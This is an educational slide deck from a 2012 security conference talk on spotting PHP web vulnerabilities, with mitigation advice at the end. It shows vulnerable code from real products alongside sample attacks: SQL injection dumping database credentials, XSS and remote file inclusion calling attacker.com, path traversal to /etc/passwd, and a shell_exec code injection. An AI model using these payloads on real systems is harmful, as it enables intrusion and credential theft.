35
Spot the Web Vulnerability Miroslav Štampar ([email protected]) Spot the Web Vulnerability Miroslav Štampar ([email protected])

Spot the Web Vulnerability

Embed Size (px)

DESCRIPTION

These are the slides from a talk "Spot the Web Vulnerability" held at Hacktivity 2012 conference (Hungary / Budapest 12th–13th October 2012) by Miroslav Stampar.

Citation preview

Page 1: Spot the Web Vulnerability

Spot the Web Vulnerability

Miroslav Štampar([email protected])

Spot the Web Vulnerability

Miroslav Štampar([email protected])

Page 2: Spot the Web Vulnerability

October 13th, 2012 2

Talk overview

Introduction to commonly exploited web application vulnerability classes (covering only those caused by coding mistake(s))

Usage of code review on real-life vulnerabilities as an educational tool

Mitigation in form of remediesNote: While given examples will discuss PHP

coding (due to its overwhelming popularity on the Web), the concepts also apply to any other web programming language

Page 3: Spot the Web Vulnerability

October 13th, 2012 3

Vulnerability statistics (1)

Page 4: Spot the Web Vulnerability

October 13th, 2012 4

Vulnerability statistics (2)

Name Visits Platform Date

vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability 31961 php 2010-08-29

WordPress <= 3.3.1 Multiple Vulnerabilities 25960 php 2012-01-25

WordPress 3.1.3 SQL Injection Vulnerabilities 25168 php 2011-07-01

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

24166 php 2011-07-21

vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability 22850 php 2010-07-24

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability 19074 php 2011-05-23

Bypass the JQuery-Real-Person captcha plugin 0-day 17089 php 2011-11-28

FCKeditor all version Arbitrary File Upload Vulnerability 16211 php 2011-08-09

Joomla 1.5 URL Redirecting Vulnerability 16061 php 2010-08-24

WordPress TimThumb Plugin - Remote Code Execution 15991 php 2011-08-03

Page 5: Spot the Web Vulnerability

October 13th, 2012 5

SQL injection (1)Vulnerability on dynamic database queries that

include unfiltered user supplied inputUsually result of concatenation of raw

parameter values to a desired SQL statementVarious techniques used depending on target's

environment and affected vulnerable queryThe goal is unauthorized access to the

underlying databaseInvolved in 60% of all breach incidents

examined by 7Safe in 2010

Page 6: Spot the Web Vulnerability

October 13th, 2012 6

SQL injection (2)

Example of vulnerable code (vuln.php):<?php

...

$sql = "SELECT * FROM forum_logs WHERE id = " . $_GET["id"];

$result = mysql_query($sql);

...

?>

Sample attack:http://www.target.com/vuln.php?id=1 UNION ALL SELECT NULL,CONCAT(user,0x3a,password),NULL FROM mysql.user--

Page 7: Spot the Web Vulnerability

October 13th, 2012 7

Cross-site scripting (1)Enables attackers to inject client-side script

into web pages viewed by other usersEverything from account hijacking, changing of

user settings, cookie theft/poisoning, or false advertising is possible

Persistent (stored) and non-persistent (reflected) variants

Samy (JS.Spacehero), first known XSS worm, infected over 1 million MySpace profiles in less than 20 hours

Page 8: Spot the Web Vulnerability

October 13th, 2012 8

Cross-site scripting (2)

Example of vulnerable code (vuln.php):<?php

$name = $_GET['name'];

echo "Welcome $name<br>";

echo "<a href="http://www.site.com/">Click to Visit</a>";

?>

Sample attack:http://www.target.com/vuln.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.attacker.com/";}</script>

Page 9: Spot the Web Vulnerability

October 13th, 2012 9

File inclusion (1)

Allows inclusion of arbitrary code into vulnerable application for further execution

Local file (LFI) and remote file (RFI) variantsAttacker's fondest wish (especially RFI)Access anything that the original program

context is able to (configuration files, password files, etc.)

Involved in 21% of all web application attacks observed by Imperva in 2011

Page 10: Spot the Web Vulnerability

October 13th, 2012 10

File inclusion (2)

Example of vulnerable code (vuln.php):<?php

$page = 'index';

if (isset($_REQUEST['page']))

$page = $_REQUEST['page'];

include($page . '.php');

?>

Sample attack:http://www.target.com/vuln.php?page=http://www.attacker.com/shell.php?foo=

Page 11: Spot the Web Vulnerability

October 13th, 2012 11

File disclosure (1)

Access files that are not intended to be accessible and expose their content to the attackers

Directory traversal variant in cases when characters for traverse to the parent directory (e.g. ../) are passed through to the file API(s)

Local file inclusion becomes a variant too if used for obtaining a non-script content

Easiest for exploitation

Page 12: Spot the Web Vulnerability

October 13th, 2012 12

File disclosure (2)

Example of vulnerable code (vuln.php):<?php

$template = 'default.php';

if (isset($_COOKIE['template']))

$template = $_COOKIE['template'];

readfile("templates/" . $template);

?>

Sample attack:GET /vuln.php HTTP/1.0

Cookie: template= ../../../../../../../../../etc/passwd

Page 13: Spot the Web Vulnerability

October 13th, 2012 13

Remote code execution (1)

Provides a way to execute arbitrary codeIn one variant provided code is being executed

inside the vulnerable web application (e.g. eval)

In other, more common, content of one of request parameters is being written to the browser reachable file, giving attacker opportunity to run it as a standalone script

TimThumb WordPress PHP plugin vulnerability (CVE: 2011-4106) affected 1.2 million websites

Page 14: Spot the Web Vulnerability

October 13th, 2012 14

Remote code execution (2)

Example of vulnerable code (vuln.php):<?php

$fp = fopen("prefs/timezone.php", "w");

fwrite($fp, "<?php\r\n$timezone=" . $_REQUEST['tz'] . ";\r\n?>");

fclose($fp);

?>

Sample attack:http://www.target.com/vuln.php?tz=us;shell_exec($_GET['cmd'])

http://www.target.com/prefs/timezone.php?cmd=cat /etc/passwd

Page 15: Spot the Web Vulnerability

October 13th, 2012 15

Spot SQL injection (1)

if (isset($_POST['authornum']) && ctype_digit($_POST['authornum'])) {

$oc_authorNum = $_POST['authornum'];

} else {

$anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) or err("Unable toretrieve submission information");

if (mysql_num_rows($anr) != 1) {

err(oc_('Submission ID or password enteredis incorrect'));

}

Op

en

Con

f <=

4.1

1

(ED

B-I D

: 18

82

0, C

VE

: 20

12

-10

02

,O

SV

DB

-ID: 7

89

96

)

Page 16: Spot the Web Vulnerability

October 13th, 2012 16

Spot SQL injection (2)

if(empty($cookies['language'])){

setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");

$language = $setting['default_language'];

} else {

if($db->count('languages',"`id`='".$cookies['language']."'") == 0){

$language = $setting['default_language'];

}

$language = $cookies['language'];

}

$language_array = $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));

MyTic

kets

<=

v2.0

.8

(ED

B-I D

: 19

26

4, O

SV

DB

-ID: 8

32

31

)

Page 17: Spot the Web Vulnerability

October 13th, 2012 17

Spot SQL injection (3)foreach ($postPredicts as $postPredict){

...

if ($_POST['postAction'] == "submitVote" && intval($_POST['predictId']) == $postPredict->predictId)

{

$submitPredictId = $_POST['predictId'];

$selectedOption = $_POST['predictSelection'];

...

$dbResult = @$wpdb->query("INSERT INTO " . $wpdb->prefix . "wpp_predict_votes (predictEntryId, predictUserId, predictSelectedOption) VALUES (" . $submitPredictId . ", " . $user_ID . ", " . $selectedOption . ")");

...

}

WP

-Pre

dic

t Plu

gin

for W

or d

Pre

ss <

= v

1.0

(ED

B-I D

: 19

71

5, O

SV

DB

-ID: 8

36

97

)

Page 18: Spot the Web Vulnerability

October 13th, 2012 18

Spot SQL injection (4)

$start['year'] = isset($_GET['sy']) ? htmlspecialchars($_GET['sy']) : date('Y');

$start['month'] = isset($_GET['sm']) ? htmlspecialchars($_GET['sm']) : date('m');

$start['day'] = isset($_GET['sd']) ? htmlspecialchars($_GET['sd']) : date('d');

...

$sidq = sql_query("SELECT `id` FROM $table WHERE year = '".$start['year']."' AND month = '".$start['month']."' AND day = '".$start['day']."'");

ph

pD

en

ora

<=

v1.4

.6

(ED

B-I D

: 18

51

6, O

SV

DB

-ID: 7

94

97

)

Page 19: Spot the Web Vulnerability

October 13th, 2012 19

Spot SQL injection (5)

if(isset($_GET['track']) OR $_GET['track'] != '') {

$meta = base64_decode($_GET['track']);

...

list($ad, $group, $block) = explode("-", $meta);

...

$bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;"));

...

}

Ad

Rota

te P

lug

in fo

r Word

Pre

ss <

= v

3.6

.6

(ED

B-I D

: 18

11

4, C

VE

: 20

11

-46

71

,O

SV

DB

-ID: 7

75

07

)

Page 20: Spot the Web Vulnerability

October 13th, 2012 20

Spot SQL injection (6)

if (@isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {

...

$limit = intval($_POST['limit']);

$page_offset = (intval($_POST['offset']) - 1) * $limit;

foreach($_POST["item"] as $key => $value){

$sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset), $value);

$result = mysql_query($sql);

}

}

WP

Ban

neriz

e P

lug

in fo

r Word

Pre

ss <

= v

2.8

.7

(ED

B-I D

: 17

90

6, O

SV

DB

-ID: 7

66

58

)

Page 21: Spot the Web Vulnerability

October 13th, 2012 21

Spot cross-site scripting (1)

$page = new HtmlTemplate("templates/" . $config['tpl_name'] . "/index.html");

...

$page->SetParameter('UPCOMING_LINK',$config['site_url'].'upcoming.php?id='.$_GET['id']);

$page->SetParameter('POPULAR_LINK',$config['site_url'].'index.php');

...

$page->CreatePageEcho($lang,$config);

PH

PD

ug

<=

v2.0

.0

(ED

B-I D

: 11

01

7, O

SV

DB

-ID: 6

15

94

)

Page 22: Spot the Web Vulnerability

October 13th, 2012 22

Spot cross-site scripting (2)function _wp_comment_row($comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false) {

$comment = get_comment($comment_id); ... $author_url = get_comment_author_url(); ... $author_url_display = $author_url; ... echo "<a title='$author_url' href= '$author_url'>$author_url_display</a><br/>";...}...foreach ($comments as $comment) _wp_comment_row($comment->comment_ID, $mode, $comment_status);

Word

Pre

ss <

= v

2.8

. 1

(ED

B-I D

: 92

50

, CV

E: 2

00

9-2

85

1,

OS

VD

B-ID

: 56

19

3)

Page 23: Spot the Web Vulnerability

October 13th, 2012 23

Spot cross-site scripting (3)$handle = fopen($shoutsFile,"a");$toWrite="\n".stripslashes($_POST["txtNick"]) . "|" .$_POST["txtEmail"] . "|" . stripslashes($_POST["txtShout"]);fwrite($handle, $toWrite);fclose($handle);...$lines = array_reverse(file($shoutsFile));foreach ($lines as $line_num => $line) { $info = explode("|", $line, 3); if ((is_email($info[1])) && $displayEmails) $info[0] = "<a href='mailto:" . $info[1] . "'>" . $info[0] . "</a>"; echo "<div style='$fontStyle'><b>$info[0]</b> : " . ($allowHTML ? $info[2] : strip_tags($info[2])) . "</div>\n"; // CVE-2004-0595 (strip_tags() bypass)

}

dam

ian

ov. n

et S

hou

tbox <

= v

1. 0

(ED

B-I D

: 12

59

3)

Page 24: Spot the Web Vulnerability

October 13th, 2012 24

Spot file inclusion (1)

$typefilter = 'default';

if (isset($_GET['typefilter']))

$typefilter = $_GET['typefilter'];

require(DIR_WS_INCLUDES . zen_get_index_filters_directory($typefilter . '_filter.php'));

Zen

Cart <

= v

1.3

.9f

(ED

B-I D

: 15

16

6, O

SV

DB

-ID: 6

83

00

)

Page 25: Spot the Web Vulnerability

October 13th, 2012 25

Spot file inclusion (2)

if (isset($_POST['lang']) && preg_replace("#.*/#","",$_SERVER['PHP_SELF'])=="config.php"

$CONF['lang']=$_POST['lang'];

if (!isset($CONF['lang']))

$CONF['lang']="english";

if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php"))

include_once($prepath.PMBP_LANGUAGE_DIR . "english.inc.php");

else

include($prepath.PMBP_LANGUAGE_DIR .$CONF['lang'].".inc.php");

ph

pM

yB

acku

pP

ro <

= v

2.2

(ED

B-I D

: 19

55

0, O

SV

DB

-ID: 8

37

00

)

Page 26: Spot the Web Vulnerability

October 13th, 2012 26

Spot file inclusion (3)

if (isset($_GET['ru_folder']))

{

define('WP_USE_THEMES', false);

require_once(urldecode($_GET['abspath']) . '/wp-load.php');

...

}

Relo

cate

Up

load

Plu

gin

for W

ord

Pre

ss <

=

v0

.14

(ED

B-I D

: 17

86

9, C

VE

: 20

12

-12

05

,O

SV

DB

-ID: 7

92

50

)

Page 27: Spot the Web Vulnerability

October 13th, 2012 27

Spot file disclosure (1)

header('Content-type: ' . $_REQUEST[type]);

header('Content-Disposition: attachment; filename="' . $_REQUEST[filename] . '"');

readfile("./tmp/$ticketid" . "_" . $_REQUEST[filename]);

ISP

work

er <

= v

1.2

3

(ED

B-I D

: 10

26

2)

Page 28: Spot the Web Vulnerability

October 13th, 2012 28

Spot file disclosure (2)

$timg = $imgname = $_REQUEST['imgname'];

$pluginName = 'pica-photo-gallery';

$file = dirname(dirname(dirname(__FILE__))) . "/uploads/" . $pluginName . "/" . $timg;

header('Content-Description: File Transfer');

header('Content-Type: application/octet-stream');

...

header('Content-Length: ' . filesize($file));

ob_clean();

flush();

readfile($file);

PIC

A P

hoto

Gall e

ry P

lug

in fo

r Word

Pre

ss <

=

v1.0

(ED

B-I D

: 19

01

6, O

SV

DB

-ID: 8

27

02

)

Page 29: Spot the Web Vulnerability

October 13th, 2012 29

Spot remote code execution (1)$file = '../includes/settings.php';

...

$settings['single_user_login'] = getPostValue ('form_single_user_login');

...

$fd = @fopen ($file, 'w+b', false);

...

fwrite ($fd, "<?php\r\n");

fwrite ($fd, '/* updated via install/index.php on ' . date ('r') . "\r\n");

foreach ($settings as $k => $v) {

if ($v != '<br />' && $v != '')

fwrite ($fd, $k . ': ' . $v . "\r\n");

}

Web

Cale

nd

ar <

= v

1. 2

.4

(ED

B-I D

: 18

77

5, C

VE

: 20

12

-14

95

,O

SV

DB

-ID: 8

13

29

)

Page 30: Spot the Web Vulnerability

October 13th, 2012 30

Spot remote code execution (2)

@ob_start();

displayArray($_POST);

writeInfo(@ob_get_clean());

...

function writeInfo($data, $die = false)

{

$fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');

@fwrite($fp, $data);

@fwrite($fp, "\n\n" . date('d/M/Y H:i:s'));

@fclose($fp);

...

}

Aja

x F

ile a

nd

Imag

e M

an

ag

er <

= v

1.0

(ED

B-I D

: 18

07

5, C

VE

: 20

11

-48

25

,O

SV

DB

-ID: 7

69

28

)

Page 31: Spot the Web Vulnerability

October 13th, 2012 31

Remedies (1)

Data validationProcess of ensuring that application is running

with correct dataDiscard if it doesn’t pass the validation process

if (!preg_match('/^\(?\d{3}\)?[-\s.]?\d{3}[-\s.]\d{4}$/', $phone)) {

echo "Your phone number is invalid";

die();

}

Page 32: Spot the Web Vulnerability

October 13th, 2012 32

Remedies (2)

Data sanitizationRemoving any unwanted bits from the data and

normalizing it to the correct form

$comment = strip_tags($_POST['comment']);...$id = intval($_GET['id']);...$username = preg_replace('/[^a-zA-Z0-9._]/', '', $_REQUEST['username']);...$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'", mysql_real_escape_string($user), mysql_real_escape_string($password));

Page 33: Spot the Web Vulnerability

October 13th, 2012 33

Remedies (3)

Output escapingProtecting integrity of displayed dataPrevents browser from applying any unintended

meaning to any special sequence of characters that may be found

Always escape output provided by users!

echo "You searched for: " . htmlspecialchars($_GET["query"], ENT_QUOTES);

Page 34: Spot the Web Vulnerability

October 13th, 2012 34

Remedies (4)

Safe communication with a databasePrepared statements use one channel for

commands and another one for data (which never allows commands)

$db = new PDO('dblib:host=localhost; dbname=testdb; charset=UTF-8', $user, $pass);

$query = 'SELECT * FROM users WHERE id = :id';

$stmt = $db->prepare($query);

$stmt->bindValue(':id', $_REQUEST['id']);

$stmt->execute();

while($row = $stmt->fetch(PDO::FETCH_ASSOC)) {

...

Page 35: Spot the Web Vulnerability

October 13th, 2012 35

Questions?